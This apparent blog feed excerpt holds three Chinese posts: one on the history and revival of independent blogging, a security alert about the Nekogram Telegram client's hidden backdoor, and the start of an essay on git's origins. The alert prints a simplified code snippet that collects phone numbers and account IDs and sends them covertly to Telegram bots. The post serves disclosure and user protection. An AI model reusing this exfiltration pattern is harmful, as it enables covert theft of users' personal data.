&lt;p&gt;这个改变听起来是个技术细节，但它的影响是根本性的：&lt;strong&gt;出版这件事，第一次不需要任何门槛了&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;之前你要发声，你得先学会怎么建一个能发声的地方。现在这两件事拆开了，任何人只要有话说，就可以直接说&lt;/p&gt;
&lt;p&gt;紧接着2003年WordPress出来，功能更完整，可以自己部署，可以高度定制。在简中互联网这边，2002年前后&quot;博客&quot;这个词开始流传，方兴东他们在做推广，新浪开始做博客频道。到2005、2006年，中文博客圈已经相当热闹了&lt;/p&gt;
&lt;p&gt;那几年是真的热闹。韩寒在上面写，徐静蕾在上面写，一堆你不知道名字的普通人也在上面写。没有算法给你推内容，你想认识人就得靠友情链接，我在我的侧边栏放你的网址，你来我这里留言，我去你那里回访。原始，但有效，而且那种连接是真实的，不是系统配对出来的&lt;/p&gt;
&lt;p&gt;这段时间有一个特质，后来再也没有出现过：&lt;strong&gt;每个写博客的人都觉得自己在做一件有点重要的事&lt;/strong&gt;。不是因为有人告诉他们这很重要，是因为那种&quot;我在网上有一块自己的地方&quot;的感觉本身就是新鲜的、珍贵的。在这之前，普通人在互联网上是没有位置的。博客给了一个位置&lt;/p&gt;
&lt;p&gt;就这一件事，已经足够让人认真对待了&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;博客最热闹的那几年，大概是2005年到2008年之间&lt;/p&gt;
&lt;p&gt;那时候新浪博客是个很奇怪的地方。名人在上面写，草根也在上面写，两拨人共用一个平台，但其实互相不太搭理。名人那边是流量，草根这边是社区，各有各的生态&lt;/p&gt;
&lt;p&gt;名人博客里，老徐点击量过亿，韩寒的博客是很多人找独立声音的地方。这些人带来了大量普通用户，让&quot;写博客&quot;这件事从极客圈子溢出来，变成了一件人人都知道的事&lt;/p&gt;
&lt;p&gt;但真正有意思的是草根，也就是普通人那边&lt;/p&gt;
&lt;p&gt;那时候有一批人，写的东西可能没几个人看，但写得非常认真。有人在上面连载自己的技术笔记，有人写城市观察，有人就是记录自己的日子。没有变现压力，没有涨粉目标，就是写。评论区里会有人认真回应，然后你去他那边看看，发现他写的东西也不错，就加了友链，慢慢变成固定来往的网络邻居&lt;/p&gt;
&lt;p&gt;这种关系现在很难复制。不是因为人变了，是因为平台的逻辑变了。那时候没有算法在中间，你和读者之间是直接的，没有一个系统在帮你匹配、帮你推流。能找到你的人，都是真的对你写的东西有兴趣的人&lt;/p&gt;
&lt;p&gt;然后2009年，微博来了&lt;/p&gt;
&lt;p&gt;微博做的事情其实和Blogger当年做的事情很像：再一次降低门槛。博客已经够简单了，但还是要组织语言、写段落、想标题。微博说：不用，140个字，随手就发&lt;/p&gt;
&lt;p&gt;大量博主开始迁移。不是说博客不好，是微博的反馈快太多了。你发一条微博，几分钟就有转发和评论。博客写一篇文章，可能要等好几天才有人来看。这种节奏上的差异，让很多人自然而然地转过去了&lt;/p&gt;
&lt;p&gt;博客没有立刻死，但开始空洞化。更新变慢，留言变少，很多博主的最后一篇文章停在了2010年或者2011年，开头写着&quot;好久没更新了，最近比较忙&quot;，然后就再也没有下文&lt;/p&gt;
&lt;p&gt;接下来几年是加速分流。微信公众号2012年上线，把想写长文的人接走了。知乎把想做问答的人接走了。各种垂直平台把剩下的人按兴趣切割干净&lt;/p&gt;
&lt;p&gt;门户博客一个一个关停。网易博客2019年关了，搜狐博客基本荒废，MSN Space更是查无此人。那些年你认真写的东西，那些照片、那些记录、那些写给某个人的文字，随着服务器断电，直接消失了。不是归档，不是迁移，就是消失&lt;/p&gt;
&lt;p&gt;这是博客时代结束得最难看的一面，内容不属于你，平台说关就关，你什么都带不走。&lt;/p&gt;
&lt;p&gt;但有一件事很多人没注意到：在这些平台陆续熄灯的同时，一直有一批人在用完全不同的方式写博客&lt;/p&gt;
&lt;p&gt;他们不用新浪，不用网易，自己买域名，自己搭服务器，自己维护一个独立的网站。流量可能只有几十个人，但他们写了五年、十年，一直没停&lt;/p&gt;
&lt;p&gt;这批人，就是后来独立博客复苏的种子&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;门户博客最热闹的时候，独立博客就已经存在了&lt;/p&gt;
&lt;p&gt;独立博客的意思是：自己买域名，自己部署，自己维护。没有平台帮你做任何事，也没有平台能替你做任何决定。麻烦，但东西是真的属于你的&lt;/p&gt;
&lt;p&gt;这批人从一开始就是少数。博客热的那几年，大多数人选新浪、选网易，因为简单，因为有流量。选独立博客的人，本来就不太在乎这些。他们在乎的是另一件事：&lt;strong&gt;这个地方得是我的，不能哪天平台倒了我就什么都没了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;后来的事情证明他们是对的&lt;/p&gt;
&lt;p&gt;门户博客一个个关掉之后，这批人的博客还在。域名还是那个域名，内容还是那些内容，最早的一篇文章可能写于2004年，现在打开还能看到。这种连续性，在中文互联网里是很罕见的东西&lt;/p&gt;
&lt;p&gt;但说独立博客一直有人在，不是说它有多繁荣&lt;/p&gt;
&lt;p&gt;那段时间，独立博客更像是一个地下水位，表面上看不到，但没有干涸。写的人不多，互相之间认识，偶尔在评论区碰到，知道对方还在更新，就算是一种默默的陪伴。圈子很小，但很稳定&lt;/p&gt;
&lt;p&gt;写独立博客的人里，程序员占了很大一部分。原因很简单，搭一个独立博客对普通人来说还是有门槛的，但对程序员来说不算什么。而且咱程序员本来就有记录的习惯，把踩过的坑写下来，把学到的东西整理出来，方便自己以后查，顺便对别人也有用&lt;/p&gt;
&lt;p&gt;这类博客有一个特点：不太在乎写得好不好看，在乎的是写得清不清楚。一篇文章可能就是在解决一个很具体的技术问题，标题直接就是问题本身，没有任何修辞。但这种文章往往生命力很长，因为搜索引擎会一直把它推给遇到同样问题的人。有些文章写于十年前，现在还在被人引用&lt;/p&gt;
&lt;p&gt;除了程序员，还有一批写作者。不是职业写作者，就是喜欢写的人。他们写的东西五花八门，有人写城市漫游，有人写读书笔记，有人写自己的某段经历，有人就是在记录日子。没有明确的读者预设，写的时候也不太考虑传播，就是写&lt;/p&gt;
&lt;p&gt;这两类人，一类是因为实用留下来的，一类是因为表达留下来的。但他们有一个共同点：&lt;strong&gt;都不太依赖外部反馈来决定要不要继续写&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这一点很关键。在现在各种平台比如C$DN知乎上，反馈是即时的，你很容易根据数据来调整自己写什么、怎么写。独立博客没有这套机制，或者说你可以选择完全无视它。长期写下来的人，基本上都是找到了一套跟外部反馈无关的写作动力的人&lt;/p&gt;
&lt;p&gt;到了2020年前后，一个新的概念开始在这个圈子里流传：&lt;strong&gt;DigitalGarden，数字花园&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这个概念和传统的博客有点不一样。传统博客是按时间排列的，最新的在最上面，旧的慢慢沉下去，像一条河流，内容在时间里流走。数字花园不强调时间线，它更像是一个生长的系统：你在里面种下一个想法，过几个月回来补充，再过一年又修改，它一直在变，但一直在那里&lt;/p&gt;
&lt;p&gt;这个概念吸引了一批人，不完全是为了发表，而是为了整理自己的思维。把博客当成一个持续生长的知识库，而不是一个内容发布渠道&lt;/p&gt;
&lt;p&gt;这两种用法 &lt;strong&gt;发表和整理&lt;/strong&gt; 其实并不冲突，很多人同时在做这两件事。但数字花园这个说法的出现，标志着一件事：&lt;strong&gt;独立博客开始从我要让人看见我，转向我要留住自己想过的东西&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;动机变了，写的东西也跟着变了&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;独立博客真正意义上的回潮，大概是从2022、2023年前后开始的&lt;/p&gt;
&lt;p&gt;不是一个标志性的事件触发的，是好几件事同时发生，叠在一起，推着一批人往这个方向走&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首先是平台让人越来越累&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这不是在说某一个具体的平台，是整个大数据时代的内容平台都在往同一个方向走。推荐机制越来越强，你看到的东西越来越不是你主动选择的，而是系统认为你应该看的。发内容的人也一样，你写什么、怎么写，慢慢开始被数据反向塑造：什么有流量就写什么，标题怎么起能让人点进来就怎么起&lt;/p&gt;
&lt;p&gt;很多人写着写着发现，自己写的东西跟最开始想写的东西已经完全不一样了。但又停不下来，因为停下来就意味着流量归零，意味着之前的积累全部清空&lt;/p&gt;
&lt;p&gt;平台账号说没就没这件事，也让越来越多人受不了。不一定是被封，可能就是平台自己不行了，或者某个功能下线了，或者规则改了，你的内容突然就消失了，或者触达不到任何人了。在平台上写了好几年的人，切实经历过这种感觉：你以为你在建一个东西，其实&lt;strong&gt;你只是在替别人填内容&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后是AI内容开始大规模出现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;23年之后，互联网上的内容质量开始肉眼可见地变化。搜索一个问题，前几页全是结构相似、语气相似、但就是读起来没有任何信息量的文章。你知道那是AI写的预制菜，因为它太流畅了，太完整了，但就是没有一句话是真正想过的&lt;/p&gt;
&lt;p&gt;这件事对我们产生了影响：&lt;strong&gt;真人写的东西突然变得珍贵了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不是说写得好才珍贵，是只要你写的东西里有真实的判断、真实的经历、哪怕真实的偏见，它就和那些AI生成的内容有了本质区别。那种区别读者是感受得到的，也就是我之前常说的，AI的预制菜是没有真人写的那种烟火气的&lt;/p&gt;
&lt;p&gt;在这个背景下，独立博客这种*&quot;低效率&quot;*的东西，反而开始显得有价值。一个人愿意花时间搭一个自己的网站，认真写一篇没有SEO优化痕迹的文章，这个行为本身就在说：这是一个真实的人，在认真说一件事&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;另一个重要的变化是建站这件事变简单了很多&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以前搭独立博客，你得选CMS程序、买服务器、配置环境，出了问题自己查文档解决。WordPress那套东西功能很强，但维护起来也有成本，也不太安全。很多想写东西的人被这个门槛挡在外面&lt;/p&gt;
&lt;p&gt;现在不一样了。静态网站生成器成熟了很多，Hugo、Astro、Hexo...这些工具，本地写Markdown文件，一条&lt;code&gt;bun run build&lt;/code&gt;生成网站。部署直接用Vercel或者Cloudflare Pages，免费，几分钟搞定，不需要管服务器。整个流程走一遍，一个下午就能建好一个像样的独立博客&lt;/p&gt;
&lt;p&gt;对于有一点点技术基础的人来说，门槛基本上已经不存在了。对于完全不懂技术的人，也有Notion直接转博客、Obsidian Publish这类方案，把你本来就在用的笔记软件直接变成一个可以访问的网站&lt;/p&gt;
&lt;p&gt;工具的成熟，让想建和能建之间的距离大幅缩短。&lt;/p&gt;
&lt;p&gt;在这个时间点，数字花园的概念也重新浮出水面&lt;/p&gt;
&lt;p&gt;其实这个概念不新，但那时候它更多是在极客圈子里流传，普通写作者接触不到。这两年随着独立博客的回潮，更多人开始接触到这个思路：&lt;strong&gt;把自己的网站不当成一个发布平台，而是当成一个持续生长的知识库&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;数字花园和传统博客的区别，核心在于&lt;strong&gt;对完成这件事的态度&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;传统博客的逻辑是，一篇文章写完了才发，发出去就是定稿。数字花园的逻辑是，一个想法可以先是一颗种子，几句话，不成熟，但先种下去。过一段时间再回来，补充，修改，也许最后长成一篇完整的文章，也许就一直是那几句话，但它在那里，你随时可以回来继续想&lt;/p&gt;
&lt;p&gt;这个逻辑对很多人来说是一种解放。因为&quot;要写就写完整&quot;这个预设，其实挡住了很多人动笔。数字花园允许你把不完整的东西也放进去，允许你的思考过程是可见的，允许你的网站一直处于&quot;在建&quot;的状态&lt;/p&gt;
&lt;p&gt;这两件事：&lt;strong&gt;逃离算法和降低建站门槛&lt;/strong&gt;叠在一起，让独立博客在2026年的今天处于一个很有意思的位置&lt;/p&gt;
&lt;p&gt;它不是主流，也不会变成主流。但写独立博客的人，比五年前明显多了，而且写的原因也变了，不是因为没有更好的选择，而是想清楚了之后的主动选择&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;那么回到我们最初的问题：&lt;strong&gt;现在写独立博客的人在干什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;大概可以分几类&lt;/p&gt;
&lt;p&gt;不是严格的分类，很多人同时属于好几类，但大致是这样的轮廓&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一类是记录型的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;就是把自己的生活、想法、经历写下来。不一定有什么主题，不一定有固定的更新频率，就是想写了就写。这类博客从外面看可能很随意，但往往是持续时间最长的。因为写作动机最简单：不是为了读者，是为了自己留一个东西&lt;/p&gt;
&lt;p&gt;这类人里有很多是在某个时间点突然意识到，自己的记忆在消失。不是说记性变差，是那些零散的想法、某天突然想通的某件事、某段时间的状态，如果不写下来，过三个月你自己都想不起来曾经想过这些。博客变成了一种对抗遗忘的方式&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二类是整理型的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这类人把博客当知识库用。学了什么、读了什么、研究了什么，整理出来放在上面。写的过程本身就是在帮助自己把东西想清楚：你以为你懂了，但真的试图把它写明白的时候，往往会发现有好几个地方其实还是模糊的&lt;/p&gt;
&lt;p&gt;像我们程序员里，这类人很多。一个技术问题踩坑了，解决之后写一篇复盘，一是帮自己记住，二是万一有人遇到同样的问题能搜到。这类文章不追求好看，追求准确。有些文章写完几年后还在被人引用，因为那个问题还在，解决方法还有效&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三类是思考型的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这类人在博客上处理的是那些还没想清楚的东西。不是在分享结论，是在用写作来推进思考。文章发出去的时候可能还有很多漏洞，但没关系，有人在评论里指出来，或者自己过一段时间回来看，发现哪里想错了，再补一篇&lt;/p&gt;
&lt;p&gt;这类博客读起来有一种特别的质感，因为你能感觉到作者在真的思考，而不是在展示一个已经打磨好的观点。在AI内容泛滥的现在，这种质感是很难伪造的&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四类是连接型的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这类人写博客，有一部分原因是想找到同类。不是要建立大的影响力，就是想知道世界上有没有人和自己想的东西是一样的&lt;/p&gt;
&lt;p&gt;独立博客在这方面有一个算法平台没有的特质：它是可以被搜索引擎索引的，而且是长期的。你今天写了一篇很冷门的东西，可能三年后才有人搜到，然后发现你们关心的是同一件事。这种连接不是算法推来的，是真正意义上的找到了&lt;/p&gt;
&lt;p&gt;这几类人&lt;em&gt;大多数都&lt;/em&gt;有一个共同点，就是都不太在乎数据&lt;/p&gt;
&lt;p&gt;不是说完全不看，是不把数据当成写不写、写什么的依据。有人干脆把统计工具关掉，有人装了但基本不去看。偶尔有人来留言，或者通过邮件联系，才知道原来有人在看&lt;/p&gt;
&lt;p&gt;这种状态其实需要一点时间才能适应。从像知乎这种平台过来的人，刚开始往往会有一段很难熬的时期：写了东西发出去，没有任何反应，不知道有没有人看，不知道写得好不好，没有任何外部信号告诉你继续还是停止&lt;/p&gt;
&lt;p&gt;很多人在这个阶段就放弃了&lt;/p&gt;
&lt;p&gt;撑过去的人，往往是在某个时间点想清楚了一件事：&lt;strong&gt;写这篇东西，对我自己有没有价值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果答案是有，那发出去没人看也没关系，因为写的过程本身已经完成了它该完成的事情。如果答案是没有，那就算有很多人看，写起来也是空洞的&lt;/p&gt;
&lt;p&gt;这个想清楚的过程，其实是独立博客给的最重要的东西：&lt;strong&gt;不是流量，不是读者，而是一个机会，让你搞清楚自己到底为什么要写东西&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;如果你想开始&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;讲到这里，如果你有一点点想建博客的念头，咱直接说一些实际的东西&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;先想清楚一件事：你打算用它来干什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不用想得很细，但得有个大概。是想记录自己的生活，是想整理学到的东西，是想把脑子里那些没地方放的想法写出来，还是就想有一个自己的地方，具体写什么以后再说&lt;/p&gt;
&lt;p&gt;这个问题想清楚了，后面很多决定会自然就有答案了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于工具&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;现在建一个独立博客，选择很多，但其实不用想太复杂，他仅仅只是个工具，趁手就行&lt;/p&gt;
&lt;p&gt;如果你有一点技术基础，或者不排斥学一点点新东西，Hexo或者Astro是现在比较主流的静态网站生成器。（您现在浏览的本站就是Astro构建的）本地写Markdown，生成好了推到GitHub，用Vercel或者Cloudflare Pages部署，全程免费，域名自己买一个一年几十块钱。整个流程第一次走可能要花一个下午，但搞定之后基本不需要维护，专心写东西就行&lt;/p&gt;
&lt;p&gt;如果完全不想碰代码，Notion有第三方工具可以直接把页面转成博客，Obsidian有Publish功能，Bear、Craft这些笔记软件也有类似的方案。你在哪里写东西，就顺手把它变成一个可以访问的网站&lt;/p&gt;
&lt;p&gt;像WordPress这种CMS现在也还在，功能全，但相对重，需要自己买服务器维护&lt;/p&gt;
&lt;p&gt;主题和设计这些，不用在建站的时候就想好。先把东西跑起来，能写能发就行。很多人的博客用了好几年都还是默认主题&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于域名&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;值得花点时间想一想。不用很复杂，但最好是你愿意长期用的。域名某种程度上是你在互联网上的地址，换起来有点麻烦，所以别随便选一个将就的&lt;/p&gt;
&lt;p&gt;.com是最硬通货的，也可以选.me、.io、.xyz这些，看你自己的感觉，自己觉得好看，好记，实惠就行。一年的费用从几十到几百不等，差别不大，没有贵就一定好这一说，他只是个名字&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于写什么&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;第一篇文章写什么，这件事困扰了很多人很久&lt;/p&gt;
&lt;p&gt;其实写什么都行，哪怕就是&quot;这是我的第一篇博客文章，我也不知道接下来会写什么&quot;也完全可以发出去。第一篇文章没有人会特别在意，包括你自己，过几年回来看都会觉得有点幼稚，但它的意义就是让这个地方从0变成1。&lt;/p&gt;
&lt;p&gt;不要等到&quot;想好写什么了再建&quot;，因为那一天可能不会来。先建，然后开始写，写着写着自然会找到感觉&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于没人看这件事&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;建完博客之后，可能很长一段时间都没什么人来。这是正常的，不是你写得不好，是&lt;strong&gt;独立博客本来就不是一个靠自然流量能快速积累读者的地方&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;搜索引擎会慢慢收录你的内容，但需要时间。你可以把博客地址放在社交媒体的简介里，偶尔在发内容的时候顺带提一句，不用刻意推广，就让它自己慢慢被发现&lt;/p&gt;
&lt;p&gt;有人来留言或者发邮件联系你的时候，认真回。独立博客的读者不多，但质量高，值得认真对待&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关于坚持&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;不用给自己设更新频率&lt;/strong&gt;。&quot;每周更新一篇&quot;这种计划，大多数人坚持不了几个月就放弃了，然后因为没有按计划更新产生愧疚感，然后就更不想写了&lt;/p&gt;
&lt;p&gt;想写了就写，不想写了就停一段时间，这完全没问题。有些博客一年只更新几篇，但写了十年，回头看是一个很完整的东西。有些博客一开始很勤快，写了三个月就再也没更新，那也是三个月的东西，总比没有好&lt;/p&gt;
&lt;p&gt;写博客这件事，没有失败，只有停下来和继续写之间的选择&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;最后说一句&lt;/p&gt;
&lt;p&gt;独立博客不会让你成名，大概率也不会给你带来什么实质性的回报。它就是一个地方，你在互联网上的一块地，写你想写的东西，留你想留的痕迹&lt;/p&gt;
&lt;p&gt;但在现在，这件事本身已经变得有点珍贵了&lt;/p&gt;
&lt;p&gt;不是因为博客这个形式有多特别多小众，是因为愿意认真写东西、不依赖算法、不追流量的人，越来越少了。这种稀少，让每一个还在写的人，都显得有点值得被认真对待&lt;/p&gt;
&lt;p&gt;你写的东西，总会漂到那个该看到它的人手里&lt;/p&gt;
&lt;p&gt;只是他可能还在路上&lt;/p&gt;
</content:encoded><category>所想，所记</category><author>Chongxi</author></item><item><title>Nekogram后门事件：你的手机号已被偷偷上传</title><link>https://xice.cx/posts/336CautionNekogram/</link><guid isPermaLink="true">https://xice.cx/posts/336CautionNekogram/</guid><description>Nekogram非官方客户端被发现在发布版中注入恶意代码，悄悄将用户手机号和账号ID上传给开发者。本文提供了问题分析和解决办法</description><pubDate>Thu, 02 Apr 2026 20:49:11 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;TL;DR：如果你用过 Nekogram，你的手机号和 Telegram 账号 ID 已经被发送给了开发者。请立即切换回官方客户端&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;发生了什么&lt;/h2&gt;
&lt;p&gt;近日，安全研究人员对 Nekogram 的发布版 APK 进行逆向分析，发现其中存在&lt;strong&gt;蓄意注入的恶意代码&lt;/strong&gt;，会在用户毫不知情的情况下，将以下信息上传给开发者：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;你的 &lt;strong&gt;Telegram 用户 ID&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;你的 &lt;strong&gt;手机号码&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如果你登录了多个账号，&lt;strong&gt;所有账号&lt;/strong&gt;的上述信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;技术细节&lt;/h2&gt;
&lt;p&gt;恶意代码藏在 &lt;code&gt;Extra.java&lt;/code&gt; 文件中，&lt;strong&gt;没有出现在公开的 GitHub 源码里&lt;/strong&gt;——开发者是在打包发布时偷偷注入的，所以单看源码根本发现不了&lt;/p&gt;
&lt;p&gt;代码逻辑很简单粗暴：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 遍历最多8个账号
for (int i = 0; i &amp;lt; 8; i++) {
    // 抓取用户ID和手机号
    mapWithAccounts.put(String.valueOf(user.id), phonenum);
}
// 通过 inline query 悄悄发给 bot，不留任何聊天记录
InlineBotHelper.getInstance(...).query(nekonotificationbot, ...toJSON(hashMap));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据通过 &lt;strong&gt;Inline Bot Query&lt;/strong&gt; 方式发送，这种方式的特殊性在于：&lt;strong&gt;不会在你的聊天记录里留下任何痕迹&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;目标接收方包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@nekonotificationbot&lt;/code&gt;（主要数据接收bot）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tgdb_search_bot&lt;/code&gt;（OSINT人肉搜索bot）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;usinfobot&lt;/code&gt;（OSINT人肉搜索bot）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;后两个 bot 的出现意味着，泄露的数据很可能被用于&lt;strong&gt;社工查询&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;为什么格外危险&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Google Play 版本同样中招&lt;/strong&gt;，不只是从第三方渠道下载的 APK&lt;/li&gt;
&lt;li&gt;早期版本只针对+86号码，现已扩展至所有用户&lt;/li&gt;
&lt;li&gt;Nekogram 作者据悉有 DDoS 攻击和网络骚扰前科&lt;/li&gt;
&lt;li&gt;该 issue 已在 GitHub 公开：&lt;a href=&quot;https://github.com/Nekogram/Nekogram/issues/336&quot;&gt;#336&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;你现在应该做什么&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1.立即卸载 Nekogram&lt;/strong&gt;，切换回 &lt;a href=&quot;https://telegram.org&quot;&gt;官方 Telegram&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2.检查登录设备&lt;/strong&gt;
设置 → 隐私与安全 → 活跃会话 → 踢掉所有陌生设备&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.开启两步验证&lt;/strong&gt;
设置 → 隐私与安全 → 两步验证&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.限制手机号可见性&lt;/strong&gt;
设置 → 隐私 → 手机号码 → 改为&quot;我的联系人&quot;或&quot;没有人&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5.向 Google Play 举报&lt;/strong&gt;
&lt;a href=&quot;https://support.google.com/googleplay/android-developer/contact/takedown&quot;&gt;举报链接&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;非官方客户端的源码和发布版二进制文件可以完全不同。&lt;strong&gt;你看到的源码，不等于你运行的程序&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以后下载 Telegram 请只认一个地址：&lt;strong&gt;telegram.org&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;参考来源：Sota Project、GitHub Issue #336&lt;/em&gt;&lt;/p&gt;
</content:encoded><category>Telegram</category><category>Nekogram</category><author>Chongxi</author></item><item><title>git到底是什么?一文讲通git第一性原理和诞生的历史</title><link>https://xice.cx/posts/whatIsGit/</link><guid isPermaLink="true">https://xice.cx/posts/whatIsGit/</guid><description>​为什么linus要设计git?为什么rebase在多人协作危险?本文将从第一性原理出发，带你了解git的底层设计与linus的故事</description><pubDate>Tue, 31 Mar 2026 21:07:18 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;2005年，Linux 内核是全球最大的开源协作项目&lt;/p&gt;
&lt;p&gt;全球1000+贡献者当时用的是一个叫 &lt;strong&gt;BitKeeper&lt;/strong&gt; 的商业版本管理工具&lt;/p&gt;
&lt;p&gt;2005年4月，一个周末。一个叫 Andrew Tridgell 的澳大利亚程序员（就是写 Samba 的那个人）对 BitKeeper 做了逆向工程&lt;/p&gt;
&lt;p&gt;BitKeeper 的公司 Larry McVoy 发现了，宣布停止向整个 Linux 社区提供免费授权&lt;/p&gt;
&lt;p&gt;Linus 一夜之间失去了工具&lt;/p&gt;
&lt;p&gt;Linus 没有慌，他先花了两周时间研究了市面上所有的版本管理工具，比如CVS、SVN、Monotone、Darcs……&lt;/p&gt;
&lt;p&gt;然后他得出一个结论：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这些东西全都烂透了。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在他的邮件里原话是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;没有任何一个现有的系统满足我的需求，所以我决定自己写&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;0.1 Why?&lt;/h3&gt;
&lt;p&gt;Linus 的需求不是普通开发者的需求，他管理的是&lt;strong&gt;全球最复杂的协作项目&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;他每天的工作是这样的：&lt;/p&gt;
&lt;p&gt;世界各地的开发者把自己的补丁发给各个子系统维护者，子系统维护者整理好再发给 Linus，Linus 最终决定哪些东西进内核&lt;/p&gt;
&lt;p&gt;这是一个&lt;strong&gt;树状的信任网络&lt;/strong&gt;，不是一个中心化的提交系统&lt;/p&gt;
&lt;p&gt;所以他需要的工具必须满足：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 能够离线工作&lt;/strong&gt;
开发者在没有网络的情况下也要能提交、能看历史、能做分支&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 速度一定要快&lt;/strong&gt;
Linux 内核有几百万行代码，操作必须在秒级甚至毫秒级完成。他当时嘲笑 CVS 说：&quot;如果一个操作需要超过3秒，这个设计就是错的。&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 历史不可篡改&lt;/strong&gt;
他必须能验证，某个开发者发过来的代码，从他写下第一行到发到 Linus 手里，中间没有被任何人动过。不能靠信任，要靠&lt;strong&gt;数学&lt;/strong&gt;来保证。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 分支合并要够用&lt;/strong&gt;
Linux 开发模式天然是并行的，几十条开发线同时推进，合并必须可靠、必须快。SVN 的合并是噩梦，对他来说不可接受&lt;/p&gt;
&lt;p&gt;2005年4月3日，Linus 开始写 Git&lt;/p&gt;
&lt;p&gt;2005年4月7日，Git 可以托管自己的源代码了&lt;/p&gt;
&lt;p&gt;2005年4月18日，Linux 内核开发者开始用 Git 协作&lt;/p&gt;
&lt;p&gt;2005年6月，Linux 2.6.12 正式用 Git 发布&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;从零到托管全球最大开源项目，不到三个月&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;0.2 diff vs snapshot&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;版本管理的本质不是记录「文件怎么变化的」，而是记录「项目在每个时刻的完整状态是什么」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;CVS 和 SVN 记录的是 &lt;strong&gt;diff&lt;/strong&gt;，也就是 这次改了哪些行&lt;/p&gt;
&lt;p&gt;Linus 认为这是错的&lt;/p&gt;
&lt;p&gt;他要记录的是&lt;strong&gt;快照&lt;/strong&gt;，每次提交就是整个项目的一张完整snapshot&lt;/p&gt;
&lt;p&gt;这一个决策，推导出了 Git 几乎所有的设计&lt;/p&gt;
&lt;h2&gt;1. 一个决策推导出了所有设计&lt;/h2&gt;
&lt;p&gt;Linus 坐在那里，想的不是「我要怎么设计一个版本管理工具」&lt;/p&gt;
&lt;p&gt;他想的是一个更根本的问题：&lt;/p&gt;
&lt;blockquote&gt;
